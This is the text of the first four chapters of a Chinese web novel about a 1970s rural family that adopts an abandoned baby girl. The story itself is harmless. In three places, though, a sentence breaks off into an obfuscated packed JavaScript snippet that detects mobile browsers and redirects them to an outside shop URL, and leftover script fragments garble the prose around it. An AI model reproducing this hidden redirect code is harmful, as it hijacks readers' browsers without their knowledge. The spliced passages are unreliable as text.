《甜宝的七零小日子》 1. 第1章 今年的冬天特别冷,雪下的有两尺多厚,天上大块大块的乌云,像瓦一样,堆叠在一起,鹅毛大雪还在继续下着,看起来老天爷真要把天地间的空间填满。 天蒙蒙亮,大概五六点钟,惦记着今天是丈夫归家的日子,屋里的年轻女人早早就醒来了,姚秋月借着外边雪地映进来的一点亮光,将原本盖在被子上的衣服拾起来穿上了,又找了梳子划拉了几下头发,将一头微卷的黑发盘了起来。 她刚把门推开,迎面一股冷风吹过来,冻得姚秋月打了个哆嗦,她缩写脖子搓了搓手,加快脚步往厨房而去。 “啪”的一声,火柴轻轻一划,明灭的火光在黑暗中跳动,姚秋月往灶里塞了把干稻草,火就生起来了,给这个冰冷的厨房带来了一丝暖意。 家里是几个媳妇轮流烧饭,厨房有两口锅,一口烧水一口做饭,姚秋月从角落里挑了个老南瓜,切成小块和小米一起下锅熬,又加了几个窝窝头和红薯在笼屉上蒸,天气冷,早上喝点粥也能暖和暖和身子。 忙活完这些,她刚想从锅里舀点热水洗漱,就听见外边传来一阵响动,姚秋月猜想是丈夫回来了,果不其然。 唐实今年二十三四岁,眉目俊朗,一把子力气,是十里八乡难得的好后生,身上还沾着未化的雪,唐实跟在姚秋月身后进了厨房,他将头上的蓑笠摘下,露出了怀里护着的孩子。 “孩子?哪来的孩子?” “黄河边上捡的,是个女婴,我瞧见时就剩一口气了,你瞧瞧。” 唐实将孩子递给媳妇,叹了口气,“这冰天雪地的,我捡起这孩子后连奔了几里地,才找到了一户农家,喂了些米汤给她,现在已经没啥事了,身上没毛病,是个健全的女婴。” “等天亮些,问问娘要怎么弄吧,送人还是,其实我觉得咱们自己养着也成。” 怀里的孩子大概两三个月大,呼呼地睡着,小脸白净白净的,长长的睫毛在眼睑下方投下一片扇形的阴影,白嫩莹润,像一个小汤圆,捧在手心都怕碎了。 姚秋月听着这话,内心微动,她和男人结婚好几年了,肚子都没个音讯,去医院检查都说她和男人是不易孕体质,想要孩子怕是比寻常人更难。 不知怎么回事,明明不是她的孩子,但抱着这娃娃,姚秋月有种空缺已久的内心被填满的感觉。她眼眶莫名的有些发酸,低下头用自己的脸贴了贴孩子娇嫩的脸庞。 “孩子别送人了,我们自己留着养吧。” 她刚说完话,就见丈夫冲自己笑,唐实伸出长臂将媳妇捞入怀中,“其实我也是这么想的,怎么就这么巧让我捡着这孩子了呢?我看到这孩子的第一眼,觉得这就是老天爷看咱俩现在还没孩子,特意送给咱们的闺女,让咱们先养着。” “你带着孩子先回屋吧,我等会给孩子熬点米汤。” 姚秋月就带着孩子回屋了。 唐家现在住的房子还是早些年唐老头领着唐家几兄弟建起来的,东南西北一共九间屋子,房子下半截的墙是用青砖砌的,宽敞亮堂,在这绿水村里也算是难得一份的豪宅了。 唐家现在当家做主的是老太太陈凤篱,她一辈子共生了四个儿子,三个女儿,老大唐忠靠着点关系在县棉纺厂工作,娶了前村老刘家的女儿,夫妻俩生育了两个儿子,大孙子成润今年七岁,在县里的小学上一年级,小孙子成新今年四岁。 老二唐勇娶了本村林家的女儿,夫妻俩生了两女一男,连生了两个女儿才得了这么一个小儿子,所以也格外偏疼,老二媳妇平日里为人爱计较些,但说到底也不是个坏的。 老三唐厚的媳妇是山西人,娘家离得远,同样也生了两个儿子,大的五岁,小的刚满九个月。 老四唐实娶的是后村打铁匠姚远山的女儿,那人长得叫一个水灵,还念过书,是个有文化的女子,唯一可惜的就是两夫妻结婚几年了,还没有一儿半女。 现下这时节日子过得艰难,大家伙都搅在一个锅里过日子,总是少不了什么磕磕碰碰,家里娃娃多,都是上房揭瓦的年纪,鸡飞狗跳的格外闹腾。 打仗一样的吃过早饭后,唐实和姚秋月抱着孩子到了陈老太屋里。 这年头被丢弃的女婴也不算罕见事,陈老太看着那白嫩可爱的小娃娃,也忍不住软了心肠,“这么可爱的娃娃,也不知是哪对狠心的父母就给丢了,老四,老四媳妇,你们想要把这女娃娃留在身边养?” “嗯,娘,我们现在也没个自个的孩子,想把她留下来,以后就当亲闺女养了。” 陈老太向来是个通情达理的人,“我不反对,你们自己拿主意就成,但你们可要记住一点,儿女皆是缘,哪怕是养子也是命定的缘分,以后就算你们有亲生孩子了也别亏待这个捡来的孩子。” 唐实两口子听着陈老太同意了,也松了口气,唐实看着媳妇怀里的孩子,向陈老太保证道,“娘,您放心,我和秋月以后一定对孩子好。” 唐实和姚秋月抱着孩子从陈老太屋子出去时,老二媳妇林丹红和老三媳妇侯松梅和家里的几个孩子都围了上来。 “哟,这孩子长得真干净水灵。”侯松梅怀里抱着小儿子,瞧着心里稀罕得紧,这十里八乡的孩子没一个长得比眼前这个小娃娃好看的,她一直就想要个女儿,但没想到还是生了个带把的。 “四婶婶,这是小妹妹吗?”小女孩舔着手指问。 姚秋月抱着怀里的孩子,脸上挂了温柔的笑意,“对,以后她就是你们的小妹妹了。” 大概是周围的动静太大,怀里的孩子竟然哇哇哭起来。 “可能是饿了。” 唐实赶紧道,“米汤熬好了,我去端过来。” 众人就散开了,姚秋月抱着孩子回了屋。 入了冬之后,地里的活就少了,特别是现在大雪封山,队里也没活可干,唐家几个男人除了编筐、捻麻线外,就是陪孩子玩,林丹红在厨房转了好一会,看见侯松梅进来,不吐不快道,“这时节大家日子都过得那么艰难,家里好几个孩子,老四两口子倒好,竟然还从外边捡个野孩子回来养,再说了养大了又有什么用?还不是别人家的。” 侯松梅有些意外,“一个女娃娃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055397|149180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,又吃不了多少口粮,而且现在大家伙搅在一个锅里过日子,老四两口子没孩子,但两个人出工挣工分,相当于咱们占了他们的便宜了,他们想养就养着呗。” 林丹红还是有些不满,忍不住嘀咕道,“要是亲生的也就罢了……” 北屋这边,姚秋月刚把孩子放到炕上,才发现是尿布湿了,她想起来箱子里还有几块没用过的碎布料子,正好用来给孩子当尿布。 她刚给娃娃换上干净的尿布,就看见她已经不哭了,睁着圆溜溜的大眼睛看她。 姚秋月忍不住笑了,“怎么不哭了?宝宝是不是也不喜欢刚才人太多了?” 村子里跟她一个年纪的妇女早就都两三个孩子了,姚秋月偶尔看见别人家的小孩子,心里也会感到羡慕。 孩子身上香香的,姚秋月低头嗅着孩子身上的味道,感觉内心有种被填实的感觉。 唐实端着熬好的米汤掀开厚重的门帘走了进来。 这米汤是用大米一点点熬化了的,绵绵稠稠的,上边还浮着一层米油,闻着可香了,姚秋月吹凉一些了再喂给孩子,孩子应该是饿了,一口一口非常配合,小嘴动来动去的。 “孩子老喝米汤也不行,我嫁人时我娘给了我一对银镯子,等天气好了,你拿去卖了,看看能不能在供销社买点孩子吃的营养品,奶粉、麦乳精都好,要是能买只羊就最好了,羊奶是对小孩最好的,营养价值高,温补,对肠胃和肾脏都有很好的补益效果。” 其实村子里不是没有刚生完孩子的女人,但这年头大家都吃不饱穿不暖的,那奶水都是粮食化的,谁的奶水都不充足,姚秋月虽然可怜孩子,但也不好意思去向人家张这个口。 “行,等天晴了我就去。” “弟妹。”门外边传来嫂子侯松梅的声音。 唐实开门后便顺手把门给带上了,将空间让给妯娌二人。 侯松梅将几件小孩衣裳和半罐麦乳精放到炕上。 “这几件小孩衣裳都是我生成和时做的,怀的时候还以为是女孩,做的几件衣服都是粉色的,生了成和也没舍得给他臭小子嚯嚯,只给他穿成鸣穿剩下的旧衣服,你瞧,都是新的,我原本打算再生个女儿的时候再拿出来的,现在好了,给你的孩子正合适。” 唐家到了孙儿这一辈是成字辈,侯松梅一共生了两个儿子,大儿子成鸣五岁,小儿子成和刚满九个月。 “还有这罐麦乳精是我坐月子时娘家嫂子送的,还剩下半罐,你留着给孩子补充营养,总喝米汤营养跟不上。” “三嫂,这麦乳精我不能要,这是你娘家嫂子给你的,你都舍不得喝,我怎么能要,你留着给成和喝,我手里还有一点钱,本来也打算让唐实到镇上的供销社去给孩子买点营养品……” “他平时还能吃鸡蛋羹和南瓜糊糊呢,壮实得像个牛犊子,用不上,你还是留下吧。” 姚秋月推脱了一番后还是收下了。 旁的不说,这小孩衣裳真是正好解了她的燃眉之急,她手头上倒是有一点布料,但要做成衣裳还要个两三天时间呢。 2. 第2章 天晃黑时候,姚秋月让唐实打了点热水,给孩子洗了个澡。孩子的皮肤娇嫩,她用一块手帕浸湿了轻轻的擦着洗,孩子很乖,洗澡的时候也不闹腾,不像家里的几个孩子洗澡的时候那闹得叫一个厉害。 姚秋月从侯松梅今天拿过来的那几件新衣服中挑了一件给孩子换上,粉色的,上边还绣着小花,料子特别软和,姚秋月给孩子换着衣裳,心里默默记下了三嫂的人情。 唐实拎着洗干净的尿布回来时,姚秋月已经给孩子换好了衣服,夫妻俩已经完全切换到新手父母的状态了。 “咱们闺女真可爱,白白细细的像只糯米团子,瞧着就招人喜欢。”小娃娃的两只小眼睛眯得很紧,像两条细细的线,两根眉毛像两枝柳条般细细的,红润的小嘴巴一张一合。 “媳妇,咱们给孩子取个名字吧。” 姚秋月一怔,丈夫这话倒是提醒她了,是该给孩子取个名字了,可是取什么名字好呢? 她看着炕上的小婴孩,“孩子的小名就叫宝儿吧,唐宝儿,咱们的掌上明珠,宝贝女儿。” “好听,一听就是个有福气的好名字。” “咱女儿的大名……我想起来一个字。” 唐实抓过妻子的手,用指头在她手上写了个絮字。 “孩子的大名就叫唐絮吧,捡到她的时候正下着雪,雪花飘落时像棉絮一样纷纷飞舞,当时的景象既美丽又壮观,同时絮寓指轻盈、美丽、有内涵之义。” 姚秋月试着念了一下,“唐絮?” “嗯。” 姚秋月在孩子脸上亲了亲,“这名字蛮好的,既不俗气也不生僻拗口。” 孩子的名字就这样定了下来。 “呀,她睁开眼睛看我了!”唐实惊呼。 唐宝儿睁开眼睛,好奇地望着眼前的一男一女。 看起来是一对二十多岁的夫妻,男的是个浓眉大眼的年轻人,从面相上就感觉是个正直善良的人,女人长得很柔美,身上有种淡雅的馨香,看向自己时的目光带着慈善的母爱。 这是一间面积不大的厢房,却应有尽有,盘着炕,角落里摆着一个樟木箱子,上边还堆着一摞书和几件衣服,透着温馨舒适的气息。 她不知道旁的孩子是怎么样的,但她觉得自己应该是和正常的孩子不一样。 她脑海中有着一些模模糊糊的遥远的记忆,她每次想认真回忆的时候又变得空白。 她开始有意识的时候,就感觉自己躺在一个冰天雪地的环境里,耳边是河水在冰层下边涌动的声音,偶尔会在附近出现一两只觅食的小麻雀,冷,彻骨的寒冷,再然后她就慢慢被冻得失去了知觉。 唐宝儿当时就在想,就算是忘川河也不过如此了吧。 直到一个温暖的怀抱将她抱起。 她知道自己大概是被人遗弃了,遗弃她的人根本没指着她能活下来,然后奄奄一息的自己被人捡了起来,是她的新爹爹将她带了回家,并和娘收养了她。 唐宝儿感觉眼睛湿漉漉的,她看着眼前的年轻夫妻,心里默默地喊了一句。 “爹,娘。” 以后你们就是我唯一的爹娘。 毕竟是小孩子,精力有限,唐宝儿看了一会后就困了,眼皮像装了磁铁似的睁不开,只能又睡了过去。 “睡着了?”唐实问。 “看起来是。” 姚秋月小心翼翼地抱起孩子将她放好,又拿过被子给她盖上。 唐家西屋这边,几个孩子闹着不愿意睡觉,林丹红心里正烦着,听到他们嬉笑打闹的声音,一股火从心底生了出来,挨个骂了顿才老实下来。 “一个个,跟讨债鬼托生似的!” 林丹红骂完,几个孩子缩了缩脖子,都钻进被窝里躺下了,刚好唐勇干完了外边的活走了进来。 看到丈夫,林丹红终于忍不住了,“你说老四就这样从外边捡个孩子回来,也不跟家里商量,而且今天捡一个,哪天说不定又捡一个,这把家里当成什么了?恤孤院吗?” “老四和老四媳妇捡回来那个野丫头多吃一口,咱们家自己的亲生孩子就得少吃一口,这年节大家伙过日子都难,你看咱们成孝都一岁半了还瘦得跟个猴儿似的营养不良,自己家的孩子都养不过来呢,这下好了,还要帮外人养外边的野孩子。”提着小儿子,林丹红还假模假样地擦了把眼泪。 “现在那奶娃子还小,能喂点米汤糊弄,以后长大了,读书吃饭哪一样不需要花钱?这些钱从哪里来?还不是得从全家人的口粮里抠省下来?” “再说了,万一养大了人家亲爹妈找过来了,人家孩子肯定跟人家亲爹妈更亲,我看老四和老四媳妇是糊涂了,净做些白瞎用功的事。” 林丹红一共生了三个孩子,大女儿晓梅六岁,二女儿晓巧四岁,小儿子成孝刚满一岁半。 唐勇听着林丹红的话,心里也忍不住烦躁了起来,他也不赞同老四养这来路不明的女娃娃,家里本来就好几个孩子,但他终究是个大男人,不可能跟林丹红一样在背后嚼舌根。 “行了别说了,老四两口子养那丫头是娘同意的。” “况且现在这孩子已经在家里了,他们想养就养着吧,一个奶娃娃,能吃多少口粮。” 林丹红看丈夫黑着脸,也不好再多说什么了。 第二天晚上,唐宝儿喝上了热乎乎的羊奶。 羊奶煮熟以后奶皮很厚,偏奶黄色,满屋的奶香味,姚秋月怀里抱着孩子,用个勺子一勺一勺喂给她喝。 唐宝儿喝了几天的米汤,突然喝到这般香浓的羊奶,感觉眼睛都亮了起来,“咕咚、咕咚”狼吞虎咽地喝,喝得上气不接下气,脸和脖子涨红,嘴唇上全是沾着的羊奶,看了真是又可爱好笑,又心疼怜惜。 唐宝儿喝了半碗羊奶就不再喝了,打了个嗝,看起来像是喝饱了。 碗里还剩半碗羊奶,反正家里现在有羊可以随时挤新鲜的,唐实说喝不来这个,一股羊奶膻味,姚秋月便就着碗沿把剩下的喝完了。 姚秋月以前喝过牛奶,羊奶还是第一次喝,喝起来比牛奶更甜一点,煮的羊奶一股浓浓的奶香味特别好喝,她喝完羊奶后,又从暖壶里倒了一点热水喝,当是漱口了。 姚秋月不忘叮嘱丈夫道,“你明天早上给宝儿煮羊奶的时候,顺便多煮一碗给娘送过去,她为这个家多年辛苦操持,也该喝上一碗羊奶补补身体。” 唐实应道,“行。” 月色映着窗户照了进来,撒了一地的银辉,旁边的奶娃娃睡得香甜,身侧的丈夫已经响起了轻微的鼾声,姚秋月却没什么睡意,心情还是难以抑制的激动,唇角扬起弧度。 她也要当母亲了。 次日清晨,唐实给闺女热羊奶时顺便多热了一碗送到了陈老太住的那屋。 陈老太今年五十多岁,头发还泛着黑呢,只是黑发夹杂着几根黑发,她年轻时受丈夫的影响,也识得不少字,是个通情达理的老太太。 唐实过去时,陈老太正用一根檀木的老式发簪将头发尽数盘起来。 “秋月想着孩子天天喝米汤也不行,就让我到县城去把她娘留给她的银手镯卖了,找当地的老乡买了只产奶的母羊,秋月特别叮嘱了,让我每天也给您送一碗羊奶,您喝点羊奶也能补充补充营养,以后我每天早上都热了给您送过来。” 陈老太看着炕上那碗羊奶,“你俩有心了,今天的这碗羊奶我留下喝了,但明天就不要再送过来了,这是秋月卖了她娘给她的陪嫁镯子买的母羊,留着给娃娃喝,娃娃喝不完就让秋月自个喝。” 唐实刚想说什么,陈老太便打断了他的话,“我身子骨硬朗着呢,家里什么好吃的好喝的都紧着给我,我还能缺了营养不成?” 唐实刚到嘴边的话只能被迫咽了回去,“好吧,那您想喝的时候和我说一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055398|149180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声,我再给您送过来。” “对了,孩子取名字了吗?”陈老太又问。 “我和秋月给孩子取了个名字,大名叫唐絮,小名叫唐宝儿。” “不错,确实是个清新雅致的好名字。”陈老太脸上露出笑容来,满意地点头。 唐家今天轮到侯松梅烧饭,她刚把蒸熟的红薯往盘子里捡,就看见林丹红走了进来,拽着她压低音量道,“三弟妹,你瞧见后院那羊了吗?” “一早就瞧见了,怎么了?” “那羊奶可是好东西啊,营养价值特别高,你就不为成和想想?” 提起来林丹红就觉得眼眶微热,这羊奶可是好东西啊,她家成孝今年也有一岁半了,但是因为营养不足,一直比同龄的孩子看起来瘦小,要是能喝点羊奶补补就好了。 侯松梅思索了一下,“可那是四弟妹用自己的陪嫁买的羊奶,这不好吧?再说了,我家成和壮得跟个牛犊子似的,也不需要再另外补充营养了吧……” 林丹红恨铁不成钢地道,“有什么不好的,那小丫头片子才多大一个,她能喝多少?” “你不好意思提,我来说,我一定要让我家成孝也喝上羊奶。” 侯松梅听到这话,忍不住笑了,她将蒸熟的红薯拾到盘子里端着往外走,“行,你要提就提吧。” …… 早饭是蒸红薯、玉米糁稀饭,还有腌咸菜,虽说唐家的壮劳力多,但在这种物资匮乏的年头,日子还是过得紧巴巴的。 一共十二口人围坐在一张大圆桌前,林丹红碗里装了半碗玉米糁稀饭,看了眼吭哧吭哧的埋头喝粥的丈夫,再看向盛粥的姚秋月,想了又想,才鼓起勇气道,“四弟妹,有件事我原本不好开口…” 林丹红这话一出,姚秋月只得放下筷子,听她把剩下的话说完。 她约莫能猜到这个嫂子心里打的什么算盘,脸上虽然挂着温和的表情,却没什么情绪。 “现如今日子都在一块过着,成孝这孩子生下来就体弱,眼瞅着一岁多了比同龄的孩子看起来小……我想着你和老四的那个丫头也喝不了多少,我想和你商量下,以后能不能让成孝也跟着一块喝羊奶?” 其实宝儿现在还是个小娃娃,一天也喝不了多少羊奶,但东西被人这么惦记着,心里总归是不太舒服,姚秋月刚想开口说话,便被陈老太打断了。 “家里哪个孩子不是这么过来的,怎么成孝就格外金贵的要喝羊奶?成孝要补充营养,那要不要把成和也顺带捎上,毕竟成和比成孝还小!” 林丹红咬了咬牙,“那便分成三份,让成孝和成和跟着一块喝……” “都是家里的孩子,也不能厚此薄彼啊,五岁的成鸣、六岁的晓梅、四岁的晓巧他们前几年也没得喝羊奶,那不得一块补上?” 侯松梅闻言,连忙撇清道,“成和用不着喝羊奶,还是四弟妹你留着给宝儿丫头喝吧。” “宝儿这个丫头可怜,被人丢在黄河边上冻得就剩一口气了,连母乳都喝不上,没有羊奶就只能喝米汤,这个老四媳妇用她的陪嫁买的奶羊,那是人家亲娘给的镯子啊!老四夫妻俩原本打算让我这个老太婆每天也跟着一起喝羊奶,但我拒绝了,因为我不好意思抢奶娃娃的口粮!也不好占人家亲家母的便宜!” 陈老太话里话外,都透着“你怎好意思向老四媳妇张这个口…”的意味。 察觉到陈老太目光中的失望和不赞同,唐老二不耐烦的皱紧了眉头,看向林丹红,“吃饭,就你话多。” 姚秋月心里对婆婆的感激和敬重又多了一分,她这婆婆是个通透人,她嫁进唐家这几年,大事小事基本上没让她为难过。 哪怕是她这几年都没怀上孩子,也从来不给她压力,也不让妯娌在背后说她的闲话。 而且听婆婆话里话外的意思,也没嫌弃宝儿是个收养的丫头,看起来像是把宝儿当亲孙女对待的。 3. 第3章 进入腊月之后,北方迎来了最冷的一个月,大寒为中者,上形于小寒,故谓之大……寒气之逆极,故谓大寒。风大,低温,地面积雪不化,呈现出冰天雪地、天寒地冻的严寒景象。 腊月二十八这天,眼瞅着快过年了,姚秋月给孩子换上新做的衣服和婴儿帽,给掌心宽的小脚套上袜子,这是一套大红色的小袄子,絮了厚厚的鹅绒和棉花,宝儿本来就长得白白嫩嫩的,穿上新衣服,戴上新帽子,更显得水灵可爱了。 姚秋月给孩子收拾好了,便看到她含着手指看自己,圆圆的大眼睛黑白分明,姚秋月看着心里喜欢得不得了,忍不住在她的小脸蛋上亲了一下。 “哎呀,我的小宝贝……” 姚秋月自己也特意换上了一套体面的衣服,将头发梳梳整齐,一手抱着孩子,一手提着屋檐下的篮子就出了门。 篮子里是一壶羊奶,还有几颗苹果,这都是唐实一早就准备好的。 她出门时,正好碰见了洗完衣服回来的三嫂侯松梅,侯松梅瞥了眼她手里的篮子,笑道,“弟妹是要回娘家?” “对,想带着宝儿去给我爹娘看一看。” “是该让他们老两口见见自己的外孙女,快去吧,刚好今日雪停了。” 虽说雪停,但外面还是冷得很,姚秋月刚出门,迎面吹来的风雪冻得她打了个寒颤,她把孩子的小手塞进自己怀里,确定不会冻到孩子,才放心地继续往娘家的路走了。 姚秋月的娘家茂山村离绿水村大概就是五里地左右,但雪路难行,加上她抱着孩子另一只手还提着东西,便耽搁了些,走了快一个小时才到娘家的村子里。 姚父是个铁匠,这年头的手艺人吃香得很,家底也算殷实,老两口一连生了三个儿子才得了姚秋月这么一个闺女,自然是万般宠爱,还供着她上了高中,如果不是出了那档子事,姚秋月大概是无论如何也不会嫁给唐实的。 姚秋月刚抱着孩子出现在村子时,便碰见了几个认识的,姚秋月虽然名声不好,但毕竟是村里唯一的高中生,平日里又温柔文静的,嘴也甜,见了长辈就一口一个叔叔婶婶的喊着,所以还是有不少人愿意凑上去打个招呼。 他们看着姚秋月抱在怀里的婴儿,“哟,这娃娃长得真水灵,瞧这个眉毛眼睛,简直跟秋月一个模子刻出来的,长大了也一定跟秋月一样是个大美人。” 他们自然而然的把唐宝儿当成了姚秋月刚生的女儿。 反正这年头生个孩子也就是再寻常不过的一晃眼的事。 不少妇女要临盆了,还干着挑水、洗衣烧饭、种地的活计呢。 姚秋月也没有过多解释,微微笑道,“婶子们,我有段时间没回娘家了,先去找我爹娘了。” “好好好,你娘估计正念着你呢。” 姚秋月到娘家时,姚母正在院里切着一颗老南瓜,看着闺女回来,忙把菜刀搁下迎了上去,老泪充斥着眼眶,“我的囡儿,娘可想死你了,雪路难走想必这路上吃了不少苦?怎么瞧着瘦了?是不是在那唐家吃不饱穿不暖?” “若不是那个杀千刀的田佳明……”想起那个抛弃了自己闺女的男人,姚母就气得牙痒痒,恨不得一菜刀剁了他解恨。 姚母一开始就不愿意让姚秋月嫁到唐家,唐家人口多,万一妯娌相处得不好,再碰上一个拎不起的婆婆,那就有得苦头委屈受了。 要不是看那唐实为人还算靠谱,加上闺女自己愿意,说不想当一辈子老姑娘,她才松口让姚秋月嫁了过去。 姚秋月及时地打断了母亲,“娘,唐家又不是那种揭不开锅的人家,怎么会吃不饱穿不暖呢,你就别想这么多了,我在唐家日子过得挺好的,唐实对我好,婆婆也是个开朗明事理的。” “我现在是唐家的媳妇,至于那个人,我早就把他抛在脑后了。” “这娃娃是?”姚母自然是从闺女刚进门就注意到了她怀里抱着的女娃娃。 姚秋月将手里的篮子搁到地上,“娘,你看这孩子是唐实前阵子办事回来的路上,在黄河边上捡的,我和唐实给孩子取了名字,大名叫唐絮,小名叫宝儿,打算以后就留在身边养大了。” 姚母擦了擦眼泪,才从闺女手里接过孩子,也知道这年头丢弃的女婴数不胜数,往那河边一放,命好的被人捡回去养着了,命不好的饿死冻死了,或者一阵风给滚进河里了,也是常有的事,想着明明是这么水灵可爱的娃娃,就因为是个女娃,便被人抛弃了,心里不由得生起了几分怜爱。 端详起唐宝儿来,“虽然是捡的,但眉眼跟你还有几分相似呢,这孩子看来跟你有缘分,你和女婿没孩子,留在身边养也好。” 唐宝儿察觉到姚母在看自己,甜甜地笑了下。 姚母见状,忍不住稀罕得开了花,“这娃娃太招人稀罕了,笑起来感觉让人心都化了。” 姚大媳妇知道婆婆偏爱小姑子,母女俩有段日子没见面了,就没上前去打扰母女俩叙旧,直到看他们说完了话,才把几个孩子叫过来。 看见姚秋月回来,姚家的几个孩子都围了上来,一口一个姑姑地叫着,逗弄着她怀里的小婴儿,姚秋月将手里的羊奶递给嫂子,笑着道,“大嫂,这是羊奶,等会煮热了让大人孩子都喝点。” “哟。这可是稀罕物,家里的几个孩子都没喝过羊奶呢,今儿个也算有口福了。” 姚大媳妇便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055399|149180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑眯眯地拎着羊奶进厨房了。 唐宝儿粉粉糯糯的,身上带着股甜甜的馨香,不像有些小孩长得黑不溜秋的还总是混合着奇怪的味道,自然招人喜欢,几个孩子抢着要抱唐宝儿,姚秋月叮嘱了几句后便让他们抱着进屋里了。 察觉到母亲落在自己身上的目光,姚秋月解释道,“宝儿还是个乳娃娃,一直不喝奶也不行,我把您给我的银镯子当掉了,让唐实找当地的老乡买了头奶羊。” 姚母对于女儿的决定自然是毫无异言,“本来那镯子也是想让你用来应急,现在用了也正好。” 到晌午时分,姚家的男丁陆陆续续的回来了,姚大姚二都在队里出工,姚三现在是跟着姚父在打铁坊学打铁,见到小妹回来,大家都很高兴。 若是平常日子,晌午基本上就是随便对付几口干粮,但今天姚秋月回来,自然要丰盛的招待一顿,用精细的面粉活了面,新鲜的白菜和鸡蛋粉条拌了馅,往里加了几滴香油,香气扑鼻,吃的时候差点要把舌头咬下来。 姚家人也有段时间没吃饺子了,大人小孩吭哧吭哧的埋头吃着,饭桌上只能听到吞咽咀嚼的声音。 至于那羊奶,刚好家里剩的杏仁,姚大媳妇便在煮羊奶时加了进去,煮出来的羊奶自然是醇厚香浓,不见半点羊膻味,这个年节的羊奶是奢侈品,几个孩子高兴坏了,捧着碗喝完了后还用舌头把碗给舔干净了。 吃过晌午饭后,姚父姚母将姚秋月母女俩送到了门口。 “宝儿这孩子是真的乖,这么多人也不哭不闹的,睁着大眼睛圆碌碌,真招人喜欢。” 姚母将睡熟了的宝儿还给姚秋月,并将一个小银锁给挂到孩子的脖子上,“这是我和你爹给孩子的一点心意,保佑着孩子无病无灾,平安长大,其实早就准备好了,想着等你生了孩子后再给孩子,现在就给宝儿吧,她就是咱们的亲外孙女。” 这是一枚银制的长命锁,项链穿入锁档中,形成一个圈,可以挂在脖子上,看起来做工十分精细。 有些长辈会给刚出生的外孙送银制的装饰锁,这种银锁用项链或丝编带穿入锁档中,形成一个圈,挂在孩子脖子上,锁垂在项下胸前,按照传统的说法,只要挂上这种长命锁,就能帮小孩祛灾去邪,“锁”住生命,俗信戴锁可以保佑孩子无病无灾,健康成长。 姚秋月忙要把银锁摘下来,“这我不能要,这也太贵重了……” 姚父按住了她的手,“收着,这是我们老两口给孩子的。” 姚秋月只能将长命锁收了下来,藏进了娃娃的衣服里。 唐宝儿原本睡着了也醒了,她感觉心里也甜甜的,看来她的外公外婆也很喜欢自己呢。 4. 第4章 正值八月,长达几十天的三伏天终于要熬过去了,红色的枣子挂满枝头,梨子也变得鲜亮饱满,微风吹过,山脚下的农田掀起一波金黄色的麦浪,油菜花已经成熟到了可以收割的季节。 白天变长了,生产队的村民们都在田间忙碌,篱落边无人经过,只有蜻蜓和蝴蝶绕着篱笆飞来飞去。 唐宝儿站在山顶上,时不时往嘴里塞一朵带着丝丝甜蜜的石榴花,村里的物资匮乏,各种带着花蜜的花朵,微酸泛着甜味的草根,散发着发酵的果香的拐枣……便成了他们这群小孩子最热衷的零嘴。 从被爹爹唐实带回家后,唐宝儿已经在他们的身边整整度过了五个春秋。 唐宝儿还是跟其他的小孩子不一样,她记着从小到大的所有事,这五年来,爹娘对自己视如己出,如珠似宝地对待,在唐宝儿的心里,他们就是她的亲生父母。 “宝儿!快要下雨了,咱们快回家吧。” 唐宝儿听到堂姐晓梅的声音,脸上露出微微一笑,也忙背起自己的背篓,“嗯嗯!” 堂姐晓梅今年已经满十一岁,正在绿水村小学上五年级,她已经从儿童跨向青少年的阶段,身体开始抽条,穿着一身有些宽大打补丁的衣裳,乌亮亮的头发简单的梳了两个马尾辫。 晓梅性格比晓巧好上不少,朴实善良,勤劳刻苦,和唐宝儿姐妹俩平日里关系也最好。 姐妹俩相跟着回了家。 回到家时,却见家里的院子里挤了不少人,人群中有一个胖胖的妇女,头发看起来像是烫过,穿着一身时髦的衣服,身上散发着一股香水的味道,还挎着个摩登的包,带着两个男孩,一个十二岁,一个九岁。 两个男孩一看就是在城里长大的小孩,穿的衣服也都是新的,不像村里的孩子总穿着一身打着补丁的磨得老旧的衣服。 唐宝儿大概推断出来,这是大伯母刘芬,以及堂哥成润,堂哥成新。 自从唐忠被县城的棉纺厂招工上了后,厂里给他分配了一间筒子楼宿舍,刘芬母子三人也搬到了城里和唐老大一块生活,成润兄弟两个也在城里上了小学,逢年过节也很少会回来。 这一次是成润兄弟俩放暑假了,刘芬心血来潮,大手一挥决定带着两儿子回村里过暑假。 “老大媳妇不愧是在城里过日子的,瞧瞧这衣裳的料子,我们就是见都没见过这么好的料子啊。” “还有老大媳妇你往身上喷的这香水,真香。” “听说成润今年六月份就开始上初中了?考试考得咋样?” 提起大儿子,刘芬脸上露出了一丝笑容,“我们家成润啊,他初中升学考在县里排名前几,连校长都夸他以后一定有大出息呢!” “哟,那以后指定有大出息了,说不定能当上官老爷呢!” 